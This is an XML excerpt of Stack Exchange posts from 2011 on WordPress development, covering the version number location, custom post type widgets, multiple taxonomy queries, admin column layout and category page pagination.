  <row Id="8695" PostTypeId="2" ParentId="8648" CreationDate="2011-02-06T19:20:32.700" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Notice:&lt;/strong&gt; The software suggested here tries to put license-handcuffs on you. This is by it's &lt;a href=&quot;http://www.oiopublisher.com/terms.php&quot; rel=&quot;nofollow&quot;&gt;terms&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;@zeem, I am using OIO publisher plugin, functional and easy to use. This ad server plugin supports ad rotation from the pool of ads, geo-targeting, multiple ads, ad tags etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.oiopublisher.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.oiopublisher.com/&lt;/a&gt;&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-06T19:59:31.420" LastActivityDate="2011-02-06T19:59:31.420" CommentCount="1" />
  <row Id="8696" PostTypeId="2" ParentId="8694" CreationDate="2011-02-06T19:30:10.890" Score="1" ViewCount="" Body="&lt;p&gt;Here is a plugin by @Jared that does exactly what you need,&lt;br&gt;&#xA;&lt;a href=&quot;http://new2wp.com/pro/latest-custom-post-type-posts-sidebar-widget/&quot; rel=&quot;nofollow&quot;&gt;http://new2wp.com/pro/latest-custom-post-type-posts-sidebar-widget/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;look at line:105&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-02-06T19:30:10.890" CommentCount="2" />
  <row Id="8698" PostTypeId="1" AcceptedAnswerId="8700" CreationDate="2011-02-06T19:50:05.290" Score="1" ViewCount="122" Body="&lt;p&gt;Easy question. Where does the self-hosted WordPress store version information?&lt;/p&gt;&#xA;" OwnerUserId="2989" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-06T20:13:06.463" LastActivityDate="2011-02-06T20:13:06.463" Title="Where does WordPress store version number?" Tags="&lt;version&gt;" AnswerCount="2" />
  <row Id="8699" PostTypeId="2" ParentId="8698" CreationDate="2011-02-06T20:02:14.163" Score="0" ViewCount="" Body="&lt;p&gt;The codex says its in wp-includes/version.php.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-06T20:02:14.163" />
  <row Id="8700" PostTypeId="2" ParentId="8698" CreationDate="2011-02-06T20:08:04.817" Score="8" ViewCount="" Body="&lt;p&gt;If you need to get the wordpress version in your script, there is a global variable:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$wp_version&lt;/code&gt; (right now it's something like &lt;code&gt;'3.1-RC3-17376'&lt;/code&gt;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It contains the wordpress version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to acquire if from a file, you can read it from &lt;code&gt;/wp-includes/version.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getWPVersion() {&#xA;    $path = '/path/to/wp-install';&#xA;    include $path.'/wp-includes/version.php';&#xA;    return $wp_version;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Wordpress Version Variables&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There is more information available in that file:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;$wp_version&lt;/code&gt; - The WordPress version string ('3.1-RC3-17376')&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$wp_db_version&lt;/code&gt; - Holds the WordPress DB revision, increments when changes are made to the WordPress DB schema (17056)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$tinymce_version&lt;/code&gt; - The TinyMCE version string ('3393')&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$manifest_version&lt;/code&gt; - Holds the cache manifest version ('20111113')&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$required_php_version&lt;/code&gt; - Holds the required PHP version ('4.3')&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$required_mysql_version&lt;/code&gt; - Holds the required MySQL version ('4.1.2') &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-06T20:08:04.817" />
  <row Id="8701" PostTypeId="2" ParentId="8694" CreationDate="2011-02-06T20:11:55.473" Score="0" ViewCount="" Body="&lt;p&gt;Figured out how (Thanks to Wordpress Codex):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    /** @see WP_Widget::widget */&#xA;    function widget($args, $instance) {&#xA;        extract( $args );&#xA;        $title = apply_filters('widget_title', $instance['title']);&#xA;        ?&amp;gt;&#xA;              &amp;lt;?php echo $before_widget; ?&amp;gt;&#xA;                  &amp;lt;?php if ( $title )&#xA;                        echo $before_title . $title . $after_title; ?&amp;gt;&#xA;                    &amp;lt;?php // Create and run custom loop&#xA;        $custom_posts = new WP_Query();&#xA;        $custom_posts-&amp;gt;query('post_type=page_content');&#xA;        while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post();&#xA;    ?&amp;gt;&#xA;            &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;              &amp;lt;?php echo $after_widget; ?&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;&#xA;    /** @see WP_Widget::update */&#xA;    function update($new_instance, $old_instance) {&#xA;    $instance = $old_instance;&#xA;    $instance['title'] = strip_tags($new_instance['title']);&#xA;        return $instance;&#xA;    }&#xA;&#xA;    /** @see WP_Widget::form */&#xA;    function form($instance) {&#xA;        $title = esc_attr($instance['title']);&#xA;        ?&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('title'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Title:'); ?&amp;gt; &amp;lt;input class=&quot;widefat&quot; id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('title'); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('title'); ?&amp;gt;&quot; type=&quot;text&quot; value=&quot;&amp;lt;?php echo $title; ?&amp;gt;&quot; /&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;&#xA;} // class FooWidget&#xA;&#xA;// register FooWidget widget&#xA;add_action('widgets_init', create_function('', 'return register_widget(&quot;FooWidget&quot;);'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-02-06T20:11:55.473" />
  <row Id="8702" PostTypeId="1" AcceptedAnswerId="8703" CreationDate="2011-02-06T21:13:30.740" Score="0" ViewCount="76" Body="&lt;p&gt;I use the following custom loop to display a custom post type with the custom taxonomy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php // Create and run custom loop&#xA;    $custom_posts = new WP_Query();&#xA;    $custom_posts-&amp;gt;query('post_type=page_content&amp;amp;page_sections=Apps');&#xA;    while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post();&#xA;?&amp;gt;&#xA;    &amp;lt;div class=&quot;block-1&quot;&amp;gt;&#xA;        &amp;lt;?php the_post_thumbnail('large'); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Right now it reads: retrieve ONLY posts with the &lt;strong&gt;page_content&lt;/strong&gt; custom post type and the &#xA;&lt;strong&gt;App&lt;/strong&gt; custom taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to make it read: retrieve ONLY posts with the &lt;strong&gt;page_content&lt;/strong&gt; custom post type, the &lt;strong&gt;Front Page&lt;/strong&gt; custom taxonomy, and the &lt;strong&gt;Apps&lt;/strong&gt; custom taxonomy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This didn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php // Create and run custom loop&#xA;        $custom_posts = new WP_Query();&#xA;        $custom_posts-&amp;gt;query('post_type=page_content&amp;amp;page_sections=Front Page, Apps');&#xA;        while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post();&#xA;    ?&amp;gt;&#xA;        &amp;lt;div class=&quot;block-1&quot;&amp;gt;&#xA;            &amp;lt;?php the_post_thumbnail('large'); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-02-06T21:39:41.337" LastActivityDate="2011-02-06T21:39:41.337" Title="Listing only custom post types with two required categories?" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" />
  <row Id="8703" PostTypeId="2" ParentId="8702" CreationDate="2011-02-06T21:37:57.297" Score="1" ViewCount="" Body="&lt;p&gt;In versions less the 3.1 you can't query more then one taxonomy using wp_query,  query_posts or get_posts.&#xA;However you can create your own sql query which you can see an exam&lt;a href=&quot;http://stackoverflow.com/questions/1155565/query-multiple-custom-taxonomy-terms-in-wordpress-2-8&quot;&gt;enter link description here&lt;/a&gt;ple here or use scribu's plugin &lt;a href=&quot;http://scribu.net/wordpress/query-multiple-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;http://scribu.net/wordpress/query-multiple-taxonomies/&lt;/a&gt;&#xA;To make it work.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-06T21:37:57.297" />
  <row Id="8704" PostTypeId="1" AcceptedAnswerId="8708" CreationDate="2011-02-06T21:47:56.643" Score="0" ViewCount="271" Body="&lt;p&gt;The following code provided by &lt;a href=&quot;http://wordpress.stackexchange.com/users/89/mikeschinkel&quot;&gt;Mike Schinkel&lt;/a&gt;, creates a custom post type and a custom taxonomy. It makes the taxonomy to show up in the custom post type's column. Finally, it inserts some default terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to insert a second taxonomy for the custom post type (Page Content) called: &lt;strong&gt;Locations&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(this second custom taxonomy should also show up in the column of the custom post type)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I modify the code to archive that?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/**&#xA; * Create the Page Content custom post type and the Page Section custom taxonomy&#xA; */&#xA;add_action('init', 'my_init_method');&#xA;&#xA;if (!class_exists('YourSite_PageContent')) {&#xA; class YourSite_PageContent {&#xA;   static function on_load() {&#xA;     add_action('init',array(__CLASS__,'init'));&#xA;     add_filter('manage_page_content_posts_columns',&#xA;         array(__CLASS__,'manage_page_content_posts_columns'));&#xA;     add_filter('manage_posts_custom_column',&#xA;         array(__CLASS__,'manage_posts_custom_column'),10,2);&#xA;     add_action('restrict_manage_posts',&#xA;         array(__CLASS__,'restrict_manage_posts'));&#xA;     add_filter('parse_query',&#xA;         array(__CLASS__,'parse_query'));&#xA;   }&#xA;   static function init() {&#xA;     register_post_type('page_content',array(&#xA;       'labels' =&amp;gt; array(&#xA;         'name' =&amp;gt; __( 'Page Content' ),&#xA;         'singular_name' =&amp;gt; __( 'Page Content' ),&#xA;         'add_new_item' =&amp;gt; 'Add New Page Content',&#xA;         'edit_item' =&amp;gt; 'Edit Page Content',&#xA;         'new_item' =&amp;gt; 'New Page Content',&#xA;         'search_items' =&amp;gt; 'Search Page Content',&#xA;         'not_found' =&amp;gt; 'No Page Content found',&#xA;         'not_found_in_trash' =&amp;gt; 'No Page Content found in trash',&#xA;       ),&#xA;       'public' =&amp;gt; true,&#xA;       'hierarchical' =&amp;gt; false,&#xA;       'taxonomies' =&amp;gt; array( 'page_sections'),&#xA;       'supports' =&amp;gt; array('title','editor','thumbnail','custom-fields'),&#xA;       'rewrite' =&amp;gt; array('slug'=&amp;gt;'page_content','with_front'=&amp;gt;false),&#xA;     ));&#xA;     register_taxonomy('page_sections','page_content',array(&#xA;       'hierarchical' =&amp;gt; true,&#xA;       'labels' =&amp;gt; array(&#xA;         'name' =&amp;gt; __( 'Page Sections' ),&#xA;         'singular_name' =&amp;gt; __( 'Page Section' ),&#xA;         'add_new_item' =&amp;gt; 'Add New Page Section',&#xA;         'edit_item' =&amp;gt; 'Edit Page Section',&#xA;         'new_item' =&amp;gt; 'New Page Section',&#xA;         'search_items' =&amp;gt; 'Search Page Section',&#xA;         'not_found' =&amp;gt; 'No Page Sections found',&#xA;         'not_found_in_trash' =&amp;gt; 'No Page Sections found in trash',&#xA;         'all_items' =&amp;gt; __( 'All Page Sections' ),&#xA;       ),&#xA;       'query_var' =&amp;gt; true,&#xA;       'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'page_sections' ),&#xA;       ));&#xA;     if (!get_option('yoursite-page-content-initialized')) {&#xA;       $terms = array(&#xA;         'Footer',&#xA;         'Header',&#xA;         'Front Page Intro',&#xA;         'Front Page Content',&#xA;         );&#xA;       foreach($terms as $term) {&#xA;         if (!get_term_by('name',$term,'page_sections')) {&#xA;           wp_insert_term($term, 'page_sections');&#xA;         }&#xA;       }&#xA;       update_option('yoursite-page-content-initialized',true);&#xA;     }&#xA;   }&#xA;   function manage_page_content_posts_columns($columns){&#xA;     $new = array();&#xA;     foreach($columns as $key =&amp;gt; $title) {&#xA;       if ($key=='author') // Put the Page Sections column before the Author column&#xA;         $new['page_sections_column'] = 'Page Sections';&#xA;       $new[$key] = $title;&#xA;     }&#xA;     return $new;&#xA;   }&#xA;   function manage_posts_custom_column( $column,$post_id ) {&#xA;     global $typenow;&#xA;     if ($typenow=='page_content') {&#xA;       $taxonomy = 'page_sections';&#xA;       switch ($column) {&#xA;       case 'page_sections_column':&#xA;         $page_sections_column = get_the_terms($post_id,$taxonomy);&#xA;         if (is_array($page_sections_column)) {&#xA;           foreach($page_sections_column as $key =&amp;gt; $page_sections) {&#xA;             $edit_link = get_term_link($page_sections,$taxonomy);&#xA;             $page_sections_column[$key] = '&amp;lt;a href=&quot;'.$edit_link.'&quot;&amp;gt;' . $page_sections-&amp;gt;name . '&amp;lt;/a&amp;gt;';&#xA;           }&#xA;           echo implode(' | ',$page_sections_column);&#xA;         }&#xA;         break;&#xA;       }&#xA;     }&#xA;   }&#xA;   function parse_query($query) {&#xA;     global $pagenow;&#xA;     $qv = &amp;amp;$query-&amp;gt;query_vars;&#xA;     if ($pagenow=='edit.php' &amp;amp;&amp;amp;&#xA;         isset($qv['taxonomy']) &amp;amp;&amp;amp; $qv['taxonomy']=='page_sections' &amp;amp;&amp;amp;&#xA;         isset($qv['term']) &amp;amp;&amp;amp; is_numeric($qv['term'])) {&#xA;       $term = get_term_by('id',$qv['term'],'page_sections');&#xA;       $qv['term'] = $term-&amp;gt;slug;&#xA;     }&#xA;   }&#xA;   function restrict_manage_posts() {&#xA;     global $typenow;&#xA;     global $wp_query;&#xA;     if ($typenow=='page_content') {&#xA;       $taxonomy = 'page_sections';&#xA;       $page_sections = get_taxonomy($taxonomy);&#xA;       wp_dropdown_categories(array(&#xA;         'show_option_all' =&amp;gt;  __(&quot;Show All {$page_sections-&amp;gt;label}&quot;),&#xA;         'taxonomy'        =&amp;gt;  $taxonomy,&#xA;         'name'            =&amp;gt;  $taxonomy,&#xA;         'orderby'         =&amp;gt;  'name',&#xA;         'selected'        =&amp;gt;  $wp_query-&amp;gt;query['term'],&#xA;         'hierarchical'    =&amp;gt;  true,&#xA;         'depth'           =&amp;gt;  3,&#xA;         'show_count'      =&amp;gt;  true,  // This will give a view&#xA;         'hide_empty'      =&amp;gt;  true,   // This will give false positives, i.e. one's not empty related to the other terms. TODO: Fix that&#xA;       ));&#xA;     }&#xA;   }&#xA; }&#xA; YourSite_PageContent::on_load();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/TKTCB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT (What I've done so far with no PHP skills):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By modyfing the code this is what I've done so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/**&#xA; * Create the Page Content custom post type and the Page Section custom taxonomy&#xA; */&#xA;add_action('init', 'my_init_method');&#xA;&#xA;if (!class_exists('YourSite_PageContent')) {&#xA; class YourSite_PageContent {&#xA;   static function on_load() {&#xA;     add_action('init',array(__CLASS__,'init'));&#xA;     add_filter('manage_page_content_posts_columns',&#xA;         array(__CLASS__,'manage_page_content_posts_columns'));&#xA;     add_filter('manage_posts_custom_column',&#xA;         array(__CLASS__,'manage_posts_custom_column'),10,2);&#xA;     add_action('restrict_manage_posts',&#xA;         array(__CLASS__,'restrict_manage_posts'));&#xA;     add_filter('parse_query',&#xA;         array(__CLASS__,'parse_query'));&#xA;   }&#xA;   static function init() {&#xA;     register_post_type('page_content',array(&#xA;       'labels' =&amp;gt; array(&#xA;         'name' =&amp;gt; __( 'Page Content' ),&#xA;         'singular_name' =&amp;gt; __( 'Page Content' ),&#xA;         'add_new_item' =&amp;gt; 'Add New Page Content',&#xA;         'edit_item' =&amp;gt; 'Edit Page Content',&#xA;         'new_item' =&amp;gt; 'New Page Content',&#xA;         'search_items' =&amp;gt; 'Search Page Content',&#xA;         'not_found' =&amp;gt; 'No Page Content found',&#xA;         'not_found_in_trash' =&amp;gt; 'No Page Content found in trash',&#xA;       ),&#xA;       'public' =&amp;gt; true,&#xA;       'hierarchical' =&amp;gt; false,&#xA;       'taxonomies' =&amp;gt; array( 'page_sections'),&#xA;       'supports' =&amp;gt; array('title','editor','thumbnail','custom-fields'),&#xA;       'rewrite' =&amp;gt; array('slug'=&amp;gt;'page_content','with_front'=&amp;gt;false),&#xA;     ));&#xA;     register_taxonomy('locations','page_content',array(&#xA;       'hierarchical' =&amp;gt; true,&#xA;       'labels' =&amp;gt; array(&#xA;         'name' =&amp;gt; __( 'Locations' ),&#xA;         'singular_name' =&amp;gt; __( 'Page Section' ),&#xA;         'add_new_item' =&amp;gt; 'Add New Page Section',&#xA;         'edit_item' =&amp;gt; 'Edit Page Section',&#xA;         'new_item' =&amp;gt; 'New Page Section',&#xA;         'search_items' =&amp;gt; 'Search Page Section',&#xA;         'not_found' =&amp;gt; 'No Page Sections found',&#xA;         'not_found_in_trash' =&amp;gt; 'No Page Sections found in trash',&#xA;         'all_items' =&amp;gt; __( 'All Page Sections' ),&#xA;       ),&#xA;       'query_var' =&amp;gt; true,&#xA;       'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'locations' ),&#xA;       ));&#xA;     register_taxonomy('page_sections','page_content',array(&#xA;       'hierarchical' =&amp;gt; true,&#xA;       'labels' =&amp;gt; array(&#xA;         'name' =&amp;gt; __( 'Page Sections' ),&#xA;         'singular_name' =&amp;gt; __( 'Page Section' ),&#xA;         'add_new_item' =&amp;gt; 'Add New Page Section',&#xA;         'edit_item' =&amp;gt; 'Edit Page Section',&#xA;         'new_item' =&amp;gt; 'New Page Section',&#xA;         'search_items' =&amp;gt; 'Search Page Section',&#xA;         'not_found' =&amp;gt; 'No Page Sections found',&#xA;         'not_found_in_trash' =&amp;gt; 'No Page Sections found in trash',&#xA;         'all_items' =&amp;gt; __( 'All Page Sections' ),&#xA;       ),&#xA;       'query_var' =&amp;gt; true,&#xA;       'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'page_sections' ),&#xA;       ));&#xA;     if (!get_option('yoursite-page-content-initialized')) {&#xA;       $terms = array(&#xA;         'Footer',&#xA;         'Header',&#xA;         'Front Page Intro',&#xA;         'Front Page Content',&#xA;         );&#xA;       foreach($terms as $term) {&#xA;         if (!get_term_by('name',$term,'page_sections')) {&#xA;           wp_insert_term($term, 'page_sections');&#xA;         }&#xA;       }&#xA;       update_option('yoursite-page-content-initialized',true);&#xA;     }&#xA;   }&#xA;   function manage_page_content_posts_columns($columns){&#xA;     $new = array();&#xA;     foreach($columns as $key =&amp;gt; $title) {&#xA;       if ($key=='author') // Put the Page Sections column before the Author column&#xA;         $new['page_sections_column'] = 'Page Sections';&#xA;       $new[$key] = $title;&#xA;     }&#xA;     return $new;&#xA;   }&#xA;   function manage_posts_custom_column( $column,$post_id ) {&#xA;     global $typenow;&#xA;     if ($typenow=='page_content') {&#xA;       $locations_taxonomy = 'locations';&#xA;       $page_sections_taxonomy = 'page_sections';&#xA;       switch ($column) {&#xA;       case 'locations_column':&#xA;         $locations_column = get_the_terms($post_id,$locations_taxonomy);&#xA;         if (is_array($locations_column)) {&#xA;           foreach($locations_column as $key =&amp;gt; $locations) {&#xA;             $edit_link = get_term_link($locations,$locations_taxonomy);&#xA;             $locations_column[$key] = '&amp;lt;a href=&quot;'.$edit_link.'&quot;&amp;gt;' . $locations-&amp;gt;name . '&amp;lt;/a&amp;gt;';&#xA;           }&#xA;           echo implode(' | ',$locations_column);&#xA;         }&#xA;         break;&#xA;       case 'page_sections_column':&#xA;         $page_sections_column = get_the_terms($post_id,$page_sections_taxonomy);&#xA;         if (is_array($page_sections_column)) {&#xA;           foreach($page_sections_column as $key =&amp;gt; $page_sections) {&#xA;             $edit_link = get_term_link($page_sections,$page_sections_taxonomy);&#xA;             $page_sections_column[$key] = '&amp;lt;a href=&quot;'.$edit_link.'&quot;&amp;gt;' . $page_sections-&amp;gt;name . '&amp;lt;/a&amp;gt;';&#xA;           }&#xA;           echo implode(' | ',$page_sections_column);&#xA;         }&#xA;         break;&#xA;       }&#xA;     }&#xA;   }&#xA;   function parse_query($query) {&#xA;     global $pagenow;&#xA;     $qv = &amp;amp;$query-&amp;gt;query_vars;&#xA;     if ($pagenow=='edit.php' &amp;amp;&amp;amp;&#xA;         isset($qv['taxonomy']) &amp;amp;&amp;amp; $qv['taxonomy']=='page_sections' &amp;amp;&amp;amp;&#xA;         isset($qv['term']) &amp;amp;&amp;amp; is_numeric($qv['term'])) {&#xA;       $term = get_term_by('id',$qv['term'],'page_sections');&#xA;       $qv['term'] = $term-&amp;gt;slug;&#xA;     }&#xA;   }&#xA;   function restrict_manage_posts() {&#xA;     global $typenow;&#xA;     global $wp_query;&#xA;     if ($typenow=='page_content') {&#xA;       $taxonomy = 'page_sections';&#xA;       $page_sections = get_taxonomy($taxonomy);&#xA;       wp_dropdown_categories(array(&#xA;         'show_option_all' =&amp;gt;  __(&quot;Show All {$page_sections-&amp;gt;label}&quot;),&#xA;         'taxonomy'        =&amp;gt;  $taxonomy,&#xA;         'name'            =&amp;gt;  $taxonomy,&#xA;         'orderby'         =&amp;gt;  'name',&#xA;         'selected'        =&amp;gt;  $wp_query-&amp;gt;query['term'],&#xA;         'hierarchical'    =&amp;gt;  true,&#xA;         'depth'           =&amp;gt;  3,&#xA;         'show_count'      =&amp;gt;  true,  // This will give a view&#xA;         'hide_empty'      =&amp;gt;  true,   // This will give false positives, i.e. one's not empty related to the other terms. TODO: Fix that&#xA;       ));&#xA;     }&#xA;   }&#xA; }&#xA; YourSite_PageContent::on_load();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/jKRVH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I'm still struggling with this line:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   function manage_page_content_posts_columns($columns){&#xA;     $new = array();&#xA;     foreach($columns as $key =&amp;gt; $title) {&#xA;       if ($key=='author') // Put the Page Sections column before the Author column&#xA;         $new['locations_column'] = 'Locations';&#xA;         $new['cb'] = '&amp;lt;input type=&quot;checkbox&quot;&amp;gt;';&#xA;         $new['title'] = 'Title';&#xA;         $new['page_sections_column'] = 'Page Sections';&#xA;       $new[$key] = $title;&#xA;     }&#xA;     return $new;&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I can't manage to place Page Sections before Locations.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to solve this?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-02-07T01:54:50.430" LastActivityDate="2011-02-07T03:09:55.067" Title="Adding a second custom taxonomy to a custom post type (both shown in its table)?" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" CommentCount="7" />
  <row Id="8705" PostTypeId="1" CreationDate="2011-02-06T23:47:47.173" Score="0" ViewCount="151" Body="&lt;p&gt;I'm using the following code to display posts on my category page but would like to carry the same format through on to the second page of the category as at the moment it moves to the second page but doesn't show the older posts.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       &amp;lt;?php query_posts('showposts=3&amp;amp;cat=1461');&#xA;            while (have_posts()) : the_post();&#xA;            echo &quot;&amp;lt;div class=column-post&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;div class=category-thumb&amp;gt;&amp;lt;a href=&quot;;&#xA;            echo get_permalink();&#xA;            echo &quot;&amp;gt;&quot;;&#xA;            the_post_thumbnail(array (185,152));&#xA;            echo &quot;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;div class=category-title&amp;gt;&amp;lt;a href=&quot;;&#xA;            echo get_permalink();&#xA;            echo &quot;&amp;gt;&quot;;&#xA;            the_title(); &#xA;            echo &quot;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;div class=category-desc&amp;gt;&quot;;&#xA;            the_excerpt();&#xA;            echo &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;div class=category-more&amp;gt;&amp;lt;a href=&quot;;&#xA;            echo get_permalink();&#xA;            echo &quot;&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;img src=&quot;;&#xA;            bloginfo('template_directory');&#xA;            echo &quot;/images/more.png&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;            endwhile;?&amp;gt;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;divider&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;3-column-holder&quot;&amp;gt;&#xA;    &amp;lt;?php query_posts('showposts=3&amp;amp;offset=3&amp;amp;cat=1461');&#xA;            while (have_posts()) : the_post();&#xA;            echo &quot;&amp;lt;div class=column-post&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;div class=category-thumb&amp;gt;&amp;lt;a href=&quot;;&#xA;            echo get_permalink();&#xA;            echo &quot;&amp;gt;&quot;;&#xA;            the_post_thumbnail(array (185,152));&#xA;            echo &quot;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;div class=category-title&amp;gt;&amp;lt;a href=&quot;;&#xA;            echo get_permalink();&#xA;            echo &quot;&amp;gt;&quot;;&#xA;            the_title(); &#xA;            echo &quot;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;div class=category-desc&amp;gt;&quot;;&#xA;            the_excerpt();&#xA;            echo &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;div class=category-more&amp;gt;&amp;lt;a href=&quot;;&#xA;            echo get_permalink();&#xA;            echo &quot;&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;img src=&quot;;&#xA;            bloginfo('template_directory');&#xA;            echo &quot;/images/more.png&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;            endwhile;?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;  &amp;lt;div class=&quot;divider&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1859" LastActivityDate="2011-07-07T08:27:19.403" Title="Showing different posts on category pages" Tags="&lt;categories&gt;&lt;template&gt;" AnswerCount="1" />
